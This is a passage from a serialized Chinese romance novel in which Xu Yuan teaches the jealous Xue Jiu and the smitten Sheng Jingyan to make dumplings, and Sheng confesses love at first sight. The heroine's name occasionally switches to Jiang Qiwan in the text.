薛酒一进门就皱起了鼻子,那表情像是在说“这地方不适合我”。 他倚在冰箱旁边,双臂环胸,下巴微微扬起,摆出一副“我绝不插手”的架势。 可当盛景炎拿出面粉袋,雪白的粉末在他掌心飞扬时,薛酒的目光还是被吸引了过去。那面粉像一场无声的雪,落在盛景炎修长的手指上,他揉面的动作行云流水,仿佛在完成一件艺术品。薛酒喉头动了动,想说点什么,可话到嘴边又变成了哼声:“装模作样。” 许愿轻笑出声,她系上围裙,发丝被随意地挽成一个蓬松的丸子,几缕碎发垂在脸颊边,平添了几分温柔。 她转头看向薛酒,眼神里带着狡黠:“要不你来试试?说不定能包出个‘薛氏创意饺’。” 这话像是激将法,又像是带着宠溺的调侃,让薛酒的脸瞬间涨红了。 他咬着牙,梗着脖子走上前,动作却透着几分僵硬:“试试就试试!”可当他真的接过面团时,那团软乎乎的东西在他掌心滑来滑去,像是故意捉弄他,让他手忙脚乱,面粉沾满了指尖,连鼻尖都沾上了白点,实在是有点狼狈。 盛景炎憋笑憋得肩膀微颤,却还是忍住了。 姜栖晚耐心地示范着包饺子的手法,指尖在面皮上轻轻一捏,便褶出漂亮的纹路。薛酒学着许愿的样子,可捏出来的饺子歪歪扭扭,活像只瘸腿的鸭子。 他气得直瞪眼,额头的汗珠顺着脸颊滑落,在灯光下泛着细碎的光:“这破玩意儿怎么不听使唤!” 许愿忍俊不禁,伸手帮他调整饺子的形状。 盛景炎倚在厨房的流理台边,指尖有一下没一下地敲击着大理石台面,发出清脆的“嗒嗒”声。目光却落在许愿身上,她正站在薛酒身后,无奈地笑着摇头,发丝随着动作轻轻晃动,在灯光下泛起柔顺的光泽。 《灵媒》的剧组是黎云笙和韩城一起投资的,财大气粗的韩城早早就对秦扬帆撂下话:“住宿条件别吝啬,剧组不差钱。” 因此剧组下榻的酒店虽非五星级,却也是口碑响亮的连锁品牌,常有探店主播慕名而来,花几百块专程打卡中午的自助餐。 后厨的食材琳琅满目,可盛景炎依旧挑剔,特意派人去附近海鲜店采购了最新鲜的黄花鱼。 这个时节槐花难寻,他便退而求其次,准备做玉米虾仁蒸饺。为了这顿饺子,他翻遍菜谱,准备的食材堆满了厨房案板,调料瓶排列得整整齐齐,不知情的人还真当他是个厨艺高手。 不知道的,还真当盛景炎很会做饭了。 事实上这三人,除了许愿,薛酒就是个厨房杀手,盛景炎更是个新手小白,只有许愿会做饭。 于是薛酒酒眼睁睁的看着许愿亲自去教盛景炎怎么擀饺子皮……呵呵,饺子皮很难搞吗!他这么厨房白痴的人都会了,盛景炎还在这里装什么装! 死绿茶男! 他认定盛景炎不过是借包饺子之名,行接近许愿之实。可当他亲眼看见许愿挽起袖子,耐心教盛景炎擀饺子皮时,那股醋意瞬间在胸腔炸开,酸得他牙根发痒。 薛酒咬着牙暗骂:“死绿茶男!饺子皮能有多难?我这种厨房杀手都能学会,他在这儿装什么不会?” 他愤愤地抓起面团,用力往案板上一砸,擀面杖抡得虎虎生风,仿佛要把对盛景炎的怨气都发泄在这块无辜的面团上。 “砰!砰!砰!”擀面杖与案板撞击的声音格外响亮,薛酒擀得面皮边缘薄厚不均,中间还破了个大洞。 他低头看着自己“杰作”,脸瞬间涨得通红,仿佛被泼了一盆滚水。 薛酒僵在原地,手指微微发抖,喉头滚动,那句“这破玩意儿怎么不听使唤”卡在喉咙里,愣是说不出口。 他偷偷瞥了眼盛景炎,那人正笨拙地捏着饺子皮边缘,动作生疏得像是第一次握笔写字的孩子,许愿在一旁轻声指导:“手指要轻,力道均匀,别太用力……” 薛酒垂下眼帘,盯着自己手中那团烂糟糟的面皮,指甲无意识地抠着案板边缘,在木板上留下浅浅的划痕。 他深吸一口气,把烂面皮往垃圾桶一扔,又抓起一团新的面团,赌气似的重新开始擀皮。 这次他刻意放轻了动作,擀面杖在案板上发出规律的“嗒嗒”声,仿佛是他给自己打的节奏。 可面皮依旧不听使唤,边缘卷曲得像波浪,中间厚得能当盾牌。 薛酒气愤的用力擀皮……皮烂掉了。 薛酒:“……” 薛酒低头看着已经被自己擀的乱七八糟的饺子皮陷入了沉默。 嗯。 盛景炎好像也是有一点点无辜,也不一定是在装,可能是真的不会吧。 虽然不一定是装的,但绿茶肯定还是绿茶! 薛酒额头渗出细密的汗珠,耳尖烧得通红,他咬着牙,暗自较劲:“我就不信了,今天还治不了这块破面团!” 第1143章 盛先生,你凑得有些太近了 “薛酒,你擀皮的动作太僵了。”许愿的声音突然在身后响起,带着淡淡的笑意。 薛酒身子一僵,像是被抓住尾巴的猫,却倔强地不肯回头,只闷声嘟囔:“你别管我,我肯定能行!” 许愿轻笑出声,也知道薛酒现在是什么心情了,索性先去教盛景炎了。 薛酒倚在厨房的琉璃台边,酸溜溜地瞧着许愿正耐心教盛景炎擀饺子皮。 薛酒看着许愿亲自教盛景炎,在一旁酸唧唧:“我也不会,阿愿你怎么不来教我,我还想学呢。” 他倒是不想自己刚才拒绝了许愿呢,真是位活祖宗了。 许愿抬头看他一眼挑了下眉,眼神扫过他案板上那些被他擀得奇形怪状、边缘破洞如补丁的饺子皮,眼底掠过一丝无奈,:“你学什么?你学得会什么?薛酒你别在这里找茬,我没把你连人带你擀出来的那些乱七八糟的饺子皮一起丢出去都是给你面子,老实待着。” 许愿就没指望薛酒会做饭。 教他什么?教他捣乱还是炸厨房? 还擀饺子皮? 就薛酒这人,不给面团上色装橡皮泥玩来玩去都是这祖宗有良心了。 薛酒心里“咯噔”一下,那点酸涩瞬间被委屈淹没。他耷拉着脑袋,像只被雨淋湿的幼犬,小声嘟囔:“哦。”声音闷闷的,仿佛被抽走了所有力气。 他知道,许愿说得没错——他确实是厨房杀手,最会捣乱的那类人。 教他做饭?那简直是灾难现场预演。 薛酒泄愤似的揪起一团面团,手指用力地揉捏着。 面团在他掌心变形,被他戳成一个个丑陋的小团子,仿佛那些团子就是此刻他内心翻腾的情绪。 他低着头,碎发垂落遮住了半张脸,指尖的动作却愈发急促,仿佛在面团上宣泄着无处安放的不满。 许愿的余光扫过薛酒,嘴角忍不住微微上扬。她太了解薛酒了,知道这祖宗能有多“老实”。 这不,没两分钟,薛酒就已经把面团当橡皮泥玩起来了,捏出一个个歪歪扭扭的小人。 此刻他正专注地戳着一个捏成小丑模样的小团子,指尖用力按出夸张的五官,嘴里还念念有词:“丑八怪,盛景炎!”那声音带着恶作剧的得意,仿佛这样就能把对盛景炎的醋意都揉进面团里。 薛酒捏着“盛景炎小丑人”,在心里疯狂吐槽:死绿茶男!装模作样学包饺子,不就是想讨好阿愿吗? 可吐槽完,他又忍不住偷偷抬眼瞥向盛景炎。 盛景炎正笨拙地捏着饺子,面粉沾在鼻尖,却笑得眉眼弯弯,那模样竟透着几分少年气的纯真。 可下一秒,薛酒又陷入自我怀疑。 他盯着小丑人那滑稽的模样,心里突然涌起一丝别扭,盛景炎……真的算丑八怪吗? 不得不承认,那家伙的颜值确实能扛。剑眉星目,鼻梁高挺,笑起来时眼角微微上挑,仿佛藏着万千星辰。 娱乐圈里见过那么多俊男美女,可盛景炎站在那儿,依然能让人一眼注意到他。 薛酒烦躁地揪了揪头发,把“盛景炎小丑人”往旁边一扔,又抓起一团新面团。他用力揉捏着,仿佛在和自己较劲。 面团在他指间变成各种奇怪的形状,他却始终无法集中注意力。 薛酒深吸一口气,把面团往案板上一拍,擀面杖抡得虎虎生风。可面皮依旧不听使唤,边缘卷曲得像波浪,中间厚得能当盾牌。 他咬着牙,暗自较劲:“我就不信了,今天还治不了这块破面团!”擀面杖与案板撞击的声音格外响亮,仿佛在宣泄着他所有的不满与不甘。 许愿见薛酒终于老实了,才有些无奈地轻轻摇了摇头。 一抬头,猝不及防地对上盛景炎那双多情潋滟的桃花眼。那双眼眸仿佛盛装着漫天星河,璀璨耀眼,眼波流转间似有粼粼水光,浓密的睫毛在眼睑投下细碎的阴影,瞳孔深处泛着琥珀色的微光,像是被揉碎的星辰坠入深潭。 许愿内心都好像在此刻跳动的频率都快了起来,她自己觉得这种感觉有些……过分奇怪。 若非此刻手上沾满了面粉,她真的会控制不住地将手放到胸口拍抚一下,以平息这突如其来的悸动。 “盛先生,你好像凑得有些太近了,你对谁都是这样无理的吗?”许愿微微蹙眉,下意识地伸手想要将人推开。 可指尖刚触到他的衣袖,便发觉两人之间其实并不算很近,分明是再得体不过的社交距离,反倒是她显得小题大做了一些。 盛景炎垂眸,目光如春水般缓缓流淌过她的脸庞。他心底暗自叹息,眼前的人,真的很难不喜欢。 她的美丽不只是皮相的惊艳,盛景炎甚至觉得自己能窥见那层皮囊之下坚韧的灵魂,灵魂之美大过了皮囊的华彩,任谁也无法忽略。 此刻这般近的距离,他能看清她黑亮的瞳眸,初见时明明带着清冷疏离,仿佛寒潭深处的冰晶,可此刻褪去冷漠后,却带着几分懵懂的茫然,像是初春枝头刚绽开的嫩芽,懵懂中透着鲜活。 她的睫毛很长,长到他很想伸出手去轻触一下,如同蝶翼般在光影中颤动,仿佛在邀请他探索那睫毛遮掩下的万千思绪。 他喉结不自觉地滚动了一下,急忙移开视线,以免自己再有更多逾矩的想法。 而后,他绅士克制地向后退了两步,保持着恰到好处的距离。可那双桃花眼却依旧如磁石般牵引着她的目光,盛景炎的眼神里仿佛藏着千言万语,深情如海,却又被礼貌的堤岸牢牢禁锢。 许愿怔怔地看着他,心跳如擂鼓,她不明白为何一个眼神竟能掀起如此汹涌的情绪波澜。 盛景炎的目光却始终胶着在许愿身上,他的眼神仿佛穿透了时间,看到了更深层的她。 姜栖晚的美貌,是他见过最令人心颤的。 她的五官精致得如同古典工笔细描的仕女图,眉如远山黛,琼鼻秀挺,樱唇不点而朱。 可最摄人心魄的,是她周身的气质,清冷如雪中寒梅,却又在不经意间流露出柔韧的光华,仿佛淬炼过的玉石,既有冰的澄澈,又有玉的温润。 她的眼眸里总似笼着一层薄雾,像是藏着不为人知的往事,却又在偶尔的抬眼间,流露出星辰般的明亮。盛景炎每每看向她,总忍不住想起曾经在拍卖会上见过的那幅古画。 画中女子立于烟雨江南的桥头,衣袂飘飘,回眸一笑间,山河都为之失色。姜栖晚的美,便是这般惊心动魄,却又让人不忍亵渎。 此刻,盛景炎凝视着许愿,眼神里的深情几乎要溢出来。 她沾着面粉的脸庞带着几分烟火气的生动,睫毛上还沾着细小的面粉颗粒,在灯光下泛着珍珠般的光泽,更添了几分可爱的真实。 他无法控制地被她吸引,仿佛灵魂深处有根弦被轻轻拨动,发出共鸣的颤音。 第1144章 要裱起来收藏的 盛景炎的眼神实在有些过于灼热。 许愿被那眼神看得耳尖发烫,她慌乱地低下头,继续手中的动作,却不小心将饺子捏得歪歪扭扭。 盛景炎的目光始终追随着许愿,他深知自己对她的情愫早已超越了寻常的欣赏。姜栖晚的美,是让他甘愿沉沦的漩涡,她的坚韧与温柔,聪慧与懵懂,都让他心驰神往。 他并非轻浮之人,可每每与她对视,便觉得灵魂深处有东西在苏醒,那是对美的臣服,也是对灵魂的共鸣。 许愿的手微微颤抖,面粉在案板上洒落些许。 她不敢再抬头,生怕自己沉溺于那双眼睛的星河。 事实上,盛景炎认为自己本质上挺不是个东西的,不过在许愿面前,他倒是演的挺像个人的。 男人的劣根性他其实是有的,这里指的是看到喜欢的人会有那种几乎要克制不住的占有欲,会想拥抱亲吻占有。 如果无法控制自己的情感,任由自己的欲望倾巢而出那跟动物有什么区别? 那种连自己欲望都无法把控的人在他看来就是最低劣的一等人,作为一个男人,首先要能克制住自己的内心欲望,那才能算作一个真正的人。 如果连这种渴求的欲望都无法克制,那还能算是个人吗? 盛景炎很清楚这一点,所以他对待许愿是克制有礼的,但不会有人知道他究竟有多渴望许愿。 啧,这算什么? 才调侃过黎云笙,说自己不会为了女人做到这一步变得不像自己,结果这才多久就遇到了许愿,这算什么?最精准的报复吗?倒衬得他有点像笑话了。 盛景炎喉结滚动,目光最终落到许愿沾满面粉的手上。 他觉得自己多少是有点变态了。 因为此刻,他很想为她舔干净手上的那些面粉。 太变态了…… “其实,你可以用这双沾满面粉的手推开我,我不介意。”盛景炎轻缓平稳的呼吸声萦绕在耳边,他低沉的嗓音带着几分慵懒的磁性。 许愿的指尖还残留着面团柔软的触感,闻言却猛地僵住了。 若韩越在此,定会露出那狡黠的狐狸笑,推一下鼻梁上的眼镜,笑眯眯道:“你介意什么?爽坏了吧。” 好在韩越不在,无人知晓盛景炎这看似坦荡的话语下藏着多少隐秘的心思。 当然,旁边那个才成年不久的薛酒还太过干净,眼神澄澈得如同未染尘埃的琉璃,根本不明白盛景炎在短短几分钟内大脑都上演了多少小剧场。若薛酒知晓,大概此刻便会拉着许愿逃离这暧昧的氛围,可她终究不知。 “用这双手推你?那你这身衣服大概就不能要了。”许愿掀了下眉,故作轻松地回应,只当盛景炎在开玩笑。 盛景炎却回她:“为什么不能要,你碰过的东西,那是要裱起来收藏的。” 这话,太像是在说情话了。 许愿怔了下,恍惚间仿佛听见心底某根弦被轻轻拨动,荡起一圈圈涟漪。 这人的嘴……到底是哄过多少女人才能如此驾轻就熟、手到拈来? 许愿的思绪如纷乱的丝线在脑海中交织。 她想起薛酒曾郑重其事地对自己说过,盛景炎身边红颜知己无数,这位盛家少爷年纪不大,接触过的女孩子却多到双手都数不过来,圈子里那些出了名的纨绔在他面前都黯然失色。 盛二少的眼光极高,与他有过交集的女子皆是容貌出众、身材姣好,无一例外。 薛酒还曾调侃,盛景炎妥妥是“见色起意”的主儿,遇见漂亮的姑娘便如蝴蝶扑向花蜜,毫不掩饰自己的欣赏与追逐。 许愿不是自恋的人,但她对自己的容貌有着清晰的认知,夸她漂亮、追求她的人向来络绎不绝,若到这份上还谦虚说自己只是普通模样,只怕会被人笑作矫情。 她深知自己生得一副好皮囊,被盛景炎看上并进行追求,似乎确实是再正常不过的事。 可正是这份“正常”,让许愿的心跳愈发不受控制。 她分明听见胸腔里传来擂鼓般的声音,耳根也悄然发烫。 盛景炎此刻的眼神仿佛浸了蜜,浓密的睫毛在眼睑投下细碎的阴影,瞳孔深处泛着琥珀色的微光,专注地凝视着她,仿佛天地间唯有她一人值得驻足。这目光如无形的丝线,悄然缠绕住她的呼吸,让她原本坚定的理性开始动摇。 她不禁在心底自嘲,对啊,盛景炎现在只是在散发他的魅力,而她竟有些扛不住了。 许愿努力将视线从他迷人的眼眸中移开,低头继续摆弄面团,可手指却有些微微发颤。 她深知盛景炎这样的公子哥儿,向来在情场上如鱼得水,甜言蜜语不过是信手拈来的把戏。 薛酒的警告如警钟在耳边回响,他不过是见色起意,待新鲜感褪去,便会如风般消散。可为何此刻,他轻描淡写的一句话,却能让她心头泛起这般陌生的悸动? 她向来理智,面对追求者总能冷静分析,可盛景炎却像一块投入平静湖面的石子,搅乱了她所有的判断。 许愿深吸一口气,试图用理智压下这不该有的波动。 她告诉自己,盛景炎这般温柔的眼神、暧昧的话语,不过是逢场作戏的惯用伎俩,她绝不能轻易沦陷。可目光不经意扫过他衬衫袖口微微褶皱的纹路,想起他方才绅士地后退两步时克制又克制的模样,那喉结滚动的细微动作,仿佛带着某种难以言喻的吸引力。 她不得不承认,盛景炎与那些肤浅的纨绔终究不同,他的深情不似浮于表面的表演,更像是一种沉淀在骨子里的温柔,即便带着惯有的风流,却莫名让人心生涟漪。 厨房里的暖黄灯光将两人的影子拉得细长,交叠在地面上,仿佛纠缠的宿命。 许愿的手微微颤抖,面粉在案板上洒落些许。 她不敢再抬头,生怕自己沉溺于那双眼睛的星河。 盛景炎的深情,如无声的潮水,渐渐漫过她的心防,她不明白这感觉从何而来,却清楚它来得汹涌而不可抗拒。两人的距离明明隔着一张案板,可那眼神的牵绊,却仿佛将他们拉入了一个只有彼此的世界。 第1145章 嗯,初吻也在 许愿的内心仿佛在进行一场无声的拉锯战。 理智如冰冷的刀刃,不断提醒她盛景炎的过往与可能的结局,而情感却如春日萌发的嫩芽,倔强地冲破桎梏,渴望着靠近那温暖的光源。 她想起自己曾对薛酒说过,绝不会被虚情假意的甜言所打动,可此刻,盛景炎的话语却像带着魔力,在她心底生根发芽。 她甚至开始反思,是否自己太过武断,是否盛景炎并非如传闻中那般轻浮?可这样的念头刚冒出来,便被理智狠狠压下。 她怎能仅凭片刻的接触,便对一个人改观? 最终,许愿选择将这份悸动归咎于环境的影响。 她暗自说服自己,不过是厨房的暖光太过暧昧,盛景炎的声音又太过蛊惑,才让她产生了这般不切实际的错觉。 她决定不再多想,重新专注于手中的面团,指尖用力捏紧,仿佛要将所有纷乱的情绪都揉进这团白净的面里。 可当她再次抬眼,正巧撞上盛景炎含笑的眼眸。 那笑意仿佛带着春风,瞬间吹散了许愿刚筑起的心理防线。 她慌忙别过头,心跳却如擂鼓般愈发急促。她终于承认,自己或许真的对盛景炎产生了点点控制不住的心动。 这心动如细小的电流,从指尖蔓延至全身,让她既慌乱又无措。她不知道这感觉会将她带向何方,却清楚,此刻的自己,已然在盛景炎编织的情网边缘,摇摇欲坠。 其实不是不能理解,毕竟人都是喜欢漂亮皮囊的,盛景炎会喜欢她是正常的,她会欣赏盛景炎的相貌也是再正常不过的事,没什么不能接受的,对吧。 许愿这样安慰自己,甚至重复了数遍,直到那说服自己的理由在舌尖滚过千遍,仿佛真的成了无需置疑的真理。 不过好像确实是这样,也没有别的解释了。 她望着盛景炎那双如星河般潋滟的桃花眼,喉间不自觉地滚动了一下,指尖捏着面团的动作也慢了下来。 “你……对谁都这样吗?” 许愿的声音很轻,像是被厨房蒸腾的热气裹住,又像是怕惊扰了此刻微妙的气氛。 还在跟自己的面团奋斗的薛酒完全没注意到这里的古怪,薛酒正蹙眉盯着擀面杖下歪歪扭扭的面皮,嘴里嘟囔着“这玩意儿怎么就不听使唤”,全然不知身后两人间的暗流已悄然涌动,只觉得面团不听话,简直叛逆。 盛景炎似是没想到她会这样问,眉梢微微挑了下,似是多了几分难掩的深意。 他原本垂眸凝视着案板上的面团,此刻却猛地抬眼,目光如春水般漫过许愿沾着面粉的脸庞,喉结滚动了一下,似是想说什么,却又被某种情绪哽住。 许愿似是有些无奈地轻笑,那笑意里藏着几分自己都未曾察觉的苦涩与试探。 她掀了掀眉,指尖在案板上轻敲了两下,面粉簌簌落下,仿佛是她心绪的碎影。 盛景炎的眼神却如磁石般胶着在她脸上,他望着她睫毛上沾着的面粉颗粒,像是落在蝶翼上的星尘。 他喉结再次滚动,声音低沉如醇酒:“你似乎……很在意我的过去。” 许愿的耳尖悄然发烫,她慌忙低下头,继续摆弄面团,可手指却有些微微发颤。 她并非自恋,却清楚自己的容貌足以引人驻足,可盛景炎那仿佛能看透灵魂的眼神,却让她生出一种被剥开外壳的慌乱。 “在意你的过去?”许愿轻笑出声,声音里带着几分自嘲的意味,“或许只是好奇,盛二少这般风流的人物,是否对每个漂亮的姑娘都能说出这般动听的话。”她说着,指尖用力捏紧面团,仿佛要将所有纷乱的情绪都揉进这团白净的面里。 盛景炎却并未如她预想般反驳或调笑,他只是静静地看着她,眼神里仿佛藏着千言万语,深情如海,却又被礼貌的堤岸牢牢禁锢。 他想起初次见她那天,他确信自己听见了心动的声音。 而今,她沾着面粉的脸庞带着几分烟火气的生动,睫毛上还沾着细小的面粉颗粒,更添了几分可爱的真实。他无法控制地被她吸引,完全的吸引。 盛景炎最终移开了目光,将擀好的面皮轻轻放在案板上。 他敛去眼底的波澜,恢复了一贯的从容。 那惯常的优雅姿态仿佛从未消失,可许愿却分明捕捉到他眼神深处一闪而过的郑重。 “我并没有对谁都这样。”盛景炎的声音低沉温润,擀面杖在他修长指尖下轻盈转动,饺子皮在案板上绽开圆润的弧度。 他微垂的睫毛在眼睑投下细碎阴影,却让那双桃花眼更显深邃,仿佛藏着星河般的光。 许愿的心跳猛地漏了一拍。 盛景炎这话,就是要让她知道,她是特别的。 他擀面的动作并未停歇,可声音里却似乎带着笑意,像是春日的风掠过湖面,漾起层层涟漪。 “如果其他人问我,可能不会正面回应。但问这些话的是你,那我是愿意回答的。”他的目光从饺子皮上抬起,精准地落在许愿沾着面粉的脸庞上,那眼神仿佛带着温度,无声地熨烫着她慌乱的心。 许愿愣了一瞬,指尖还捏着未成型的面团,面粉的颗粒簌簌落下,像是她纷乱的心绪。 盛景炎才继续解释,声音里褪去了方才的玩笑,染上几分郑重:“我出生的圈层复杂,逢场作戏是常有的事。”他顿了顿,目光凝视着她,仿佛在确认她的反应,“虽然你可能不会信,但我真的初恋还在。” 说到这里,盛景炎又笑了,那笑意却不再轻浮,反而带着几分少年人的狡黠,故意似的开口,“嗯,初吻也在。” 许愿:“!?” 谁问你这个了! 她猛地抬眼,耳根在此刻仿佛已经红透了,像熟透的晚霞。 她慌忙低下头,指尖用力揉捏面团,可心却在此刻彻底乱了,满脑子都是盛景炎方才那句“初恋还在,初吻也在”。 太离谱了!在外人眼中那么多红颜知己的盛景炎,初恋初吻竟然都还在? 这消息像一颗石子投入平静的湖面,在她心中激起惊涛骇浪。 第1146章 我对你确实是一见钟情 “你看着好像并不相信我说的话。”盛景炎开口问了句。 “你管我信不信,我就随便问问。”许愿嘀咕。 盛景炎笑吟吟的揉捏着自己手里面的面团,手巧的捏出了一个可爱的小团子,圆润饱满,憨态可掬。 他捏出这小团子像是想要故意来哄许愿的,指尖沾着面粉,却灵活地赋予了面团生命。 他轻轻将小团子推到许愿面前,声音温柔得能滴出水来:“好,你是随便问问,但我却是认真回答的。没谈过恋爱,初恋还在,初吻还在,都是真的,没有撒谎骗你,也不会撒谎骗你。” 他说着,指尖不经意地拂过许愿的手背,那温热的触感仿佛带着电流,瞬间让她指尖一麻,心跳如擂鼓般愈发急促。 许愿的耳根愈发滚烫,她慌忙别过头,不敢再看盛景炎含笑的眼眸。 可那温柔的声音却如丝线般缠绕着她的耳畔,让她的呼吸都变得轻浅。 她低头盯着案板上的小团子,那憨态可掬的模样,大概会像极了盛景炎此刻眼中的自己,慌乱、无措,却又被某种温柔牵引着。 她想起薛酒曾郑重其事地对自己说过,盛景炎身边红颜知己无数,这位盛家少爷年纪不大,接触过的女孩子却多到双手都数不过来。可此刻,他亲口告诉自己,他的初恋和初吻都还在,而她,是第一个让他愿意认真回应的人。 暧昧的氛围在厨房里悄然升温,如糖浆般黏稠。 盛景炎靠近她,指尖轻轻拂去她脸颊上沾着的面粉颗粒,那动作温柔得仿佛羽毛拂过心尖。 他的呼吸近在咫尺,带着若有若无的薄荷香,与厨房的里的香味交织在一起,令人昏沉。 许愿的喉间不自觉地滚动了一下,指尖捏着面团的动作也慢了下来。 “你……真的没谈过恋爱?”许愿的声音很轻,像是怕惊扰了这微妙的气氛。 她终于抬眼,正巧撞上盛景炎含笑的眼眸。那笑意仿佛带着春风,瞬间吹散了许愿刚筑起的心理防线。 他喉结滚动了一下,声音低沉如醇酒:“或许听起来不可思议,但确实如此。”他顿了顿,目光胶着在她脸上,仿佛要将她刻入灵魂,“遇见你之前,从未有人让我心动过。” 许愿的心跳如擂鼓般愈发急促,耳根仿佛要燃烧起来。她慌忙低下头,继续摆弄面团,可手指却有些微微发颤。 盛景炎并未停止他的“诱哄”。 他继续捏着面团,指尖灵活地转动,又捏出了一个更精致的小兔子,耳朵竖得老高,栩栩如生。 他轻轻将小兔子放在许愿手边的小团子旁,声音里带着几分蛊惑的温柔:“你看,它们像不像我们?” 许愿怔了下,抬眼望去,小团子和小兔子挨在一起,仿佛在窃窃私语。 她的脸颊愈发滚烫,却忍不住弯了弯嘴角。 盛景炎的目光仍然落在她的脸上,那专注的凝视仿佛带着穿透灵魂的魔力。 他喉结再次滚动,声音低沉如醇酒,在厨房的暖光中漾开一圈圈涟漪:“许愿,你相信一见钟情吗?” “你管我信不信。”许愿现在就是不想顺着盛景炎说话了。 她此刻仿佛被卷入一场漩涡,既想挣脱盛景炎编织的情网,又无法控制地被那温柔的目光牵引。 她总觉得自己会很轻易地陷入盛景炎此刻编织的陷阱里面,自己都好像有点傻傻的,有些过于愚蠢了。 她低头盯着案板上被自己揉捏得不成形的面团,仿佛要将所有纷乱的情绪都揉进这团白净的面里,可手指却愈发颤抖,面粉沾满了指尖,如同她此刻无法掌控的心。 “我是希望你可以相信的。”到了此刻,盛景炎又轻笑道,那笑意里褪去了往日的玩味,染上了几分郑重与温柔。 他靠近她一步,呼吸近在咫尺,“毕竟我对你确实是一见钟情。” “我喜欢你,特别喜欢,所以很想让你知道。”他完全没有遮藏自己的情感,那坦率的话语如潮水般涌来,瞬间冲垮了许愿刚筑起的心理防线。 许愿深吸一口气,努力让自己的声音平静下来,可喉间却像被什么哽住,微微发颤:“盛景炎,我们才见过几次面你还记得吗,几面就让你说喜欢……你的喜欢是不是有点过于肤浅?” 她的话语尖锐如刀,仿佛要将盛景炎的深情割裂,可那颤抖的尾音却出卖了她内心的动摇。 她此刻不仅是在质疑盛景炎的感情,更是在质疑自己。 明明……明明心里是有其他喜欢的人,为什么还会在遇到盛景炎后控制不住的想要靠近,或者说允许盛景炎的靠近? 许愿不是个蠢人,她深知自己的原则。若对对方无意,她会直接说明,不会让对方继续靠近,更不会给对方任何回应。 可面对盛景炎,她没有拒绝,甚至还像是给了回应。 她甚至觉得自己在说盛景炎的喜欢肤浅的时候,自己的心动不是也很肤浅吗? 那瞬间的动摇,那无法控制的靠近,那被他目光牵引的呼吸,都像是一面镜子,映照出她内心深处的矛盾与挣扎。 她想起那个藏在心底的名字,那个曾让她心动不已的人。 可此刻,盛景炎近在咫尺的呼吸,他眼中浓得化不开的情意,却如无形的丝线,悄然缠绕住她的心跳。 她不明白这感觉从何而来,却清楚它来得汹涌而不可抗拒。 她试图用理智说服自己。盛景炎出生的圈层复杂,逢场作戏是常有的事。他或许只是习惯了用甜言蜜语俘获人心,而她不过是又一个被他看中的猎物。 可当盛景炎亲口告诉她,他的初恋和初吻都还在,当她撞上他眼中那仿佛能看透灵魂的深情时,那说服自己的理由在舌尖滚过千遍,却仿佛成了无法自圆其说的谎言。 她想起自己曾对薛酒说过,绝不会被虚情假意的甜言所打动,可此刻,盛景炎的话语却像带着魔力,在她心底生根发芽。 第1147章 一见钟情,怎么会肤浅呢 许愿也想不到自己现在竟然会这样肤浅,她目光对上盛景炎的,许久都没回过神来。 他的桃花眼仿佛浸着春水,又似藏着万千星辰,那熠熠的光辉直直撞进她的眼底,如电流般窜过心尖,激起一阵颤栗。 对啊,她说盛景炎对她的感情肤浅,何尝不是说自己对盛景炎的感情肤浅呢? 他们才见过几面,竟然就已经有了不一样的感情,这对姜栖晚来说不可谓不可笑。 可此刻,盛景炎的目光如丝线般缠绕着她,让她连呼吸都变得轻浅,仿佛被卷入一场甜蜜的漩涡,明知危险,却无力挣脱。 “一见钟情,怎么会肤浅呢。”盛景炎的声音低沉如醇酒,带着一种蛊惑人心的温柔。 他向前倾身,两人的距离骤然缩短,呼吸交错间,许愿甚至能闻到他身上若有若无的香气,这个味道都有点令人沉迷。 他的桃花眼里面都似乎带着熠熠星辉,那光芒仿佛能穿透她的灵魂,直抵心底最深处。 许愿被他这样的眼神看的心尖微颤,此刻心跳又一次加速,如擂鼓般在胸腔轰鸣。她慌忙想要移开视线,可目光却仿佛被磁石吸引,无论如何都无法挣脱那深邃的凝视。 “虽然你可能不明白,我在见到你的第一面就觉得,我们大概很久前就见过。”盛景炎的声音愈发低沉,仿佛带着某种魔力,每一个字都敲在许愿的心上,“你就是会给我一种我们天生一对的错觉,好像你就是我一直在找在等的爱人。”他这话说的无比真诚,眼神里的深情仿佛要溢出来,将许愿彻底包裹。 许愿惊愕到有片刻没有反应过来,大脑一片空白,唯有心跳声在耳畔嗡嗡作响。 她从未想过,有人会如此直白地将“宿命感”诉诸言语,那话语如暖流般渗入她的心间,让她既感动又慌乱。 她努力想要保持镇定,可耳根却不受控制地发烫,指尖捏着面团的动作也愈发僵硬。 面粉的颗粒沾满她的手指,如同她此刻纷乱如麻的心绪。 她想起自己曾对薛酒说过,绝不会被虚情假意的甜言所打动,可盛景炎此刻的深情,却让她无法质疑其真实性。 他的眼神太过专注,仿佛天地间唯有她一人值得驻足,他的话语太过真挚,让她甚至开始动摇自己原本的坚持。 就在许愿沉浸于这暧昧的氛围中时,盛景炎还要再说点什么,薛酒却已经捏着自己擀的乱七八糟的饺子皮凑过来,直接插在两人之间,让两人彻底隔开距离。 薛酒的动作带着几分急切,仿佛生怕他们之间再擦出火花。 他气鼓鼓地瞪着盛景炎,仿佛在捍卫自己的领地:“你们干什么呢?是不是真的当我不存在了?” 那模样像一只炸毛的猫,既可爱又带着几分孩子气。 薛酒还挺生气的,直接凑到许愿身边:“阿愿,我还是不会弄,你教教我。” 许愿被薛酒突如其来的举动吓了一跳,心跳从盛景炎带来的悸动中骤然转向慌乱。 她慌忙收回目光,低头看向薛酒手中那团擀得歪歪扭扭的饺子皮,脸上勉强扯出一抹笑意:“好,我来教你。” 可她的手指却微微发颤,捏着面团的动作远不如方才利落。 她的余光不由自主地瞥向盛景炎,只见他仍站在一旁,目光胶着在自己身上,那眼神里的温柔与失落交织,仿佛无声的叹息。 许愿的心尖再次一颤,慌乱如潮水般涌来,她甚至不敢直视他的眼睛,生怕自己好不容易筑起的心理防线再次崩塌。 薛酒并未察觉许愿的异样,只顾着将手中的面团往她面前推,嘴里嘟囔着:“你看,我明明按你说的做了,可就是擀不圆。” 许愿深吸一口气,努力让自己专注于教导薛酒。 她伸出手,指尖轻轻覆在薛酒的手背上,引导他调整擀面杖的角度:“手腕要放松,力道均匀,慢慢转圈……”她的声音温柔而耐心,可心跳却仍未平复。 盛景炎的目光如影随形,仿佛穿透薛酒的存在,依旧落在她的身上。她能感受到那目光的灼热,如同被阳光灼烤般,脸颊悄然升温。 许愿的手指在薛酒手背上的触碰仿佛带着某种微妙的电流,她甚至能感受到薛酒手心的温度。 可她的思绪却不由自主地飘向盛景炎方才的话语。 “天生一对” “一直在找在等的爱人”。 那些话如种子般在她心底生根发芽,让她无法忽视。 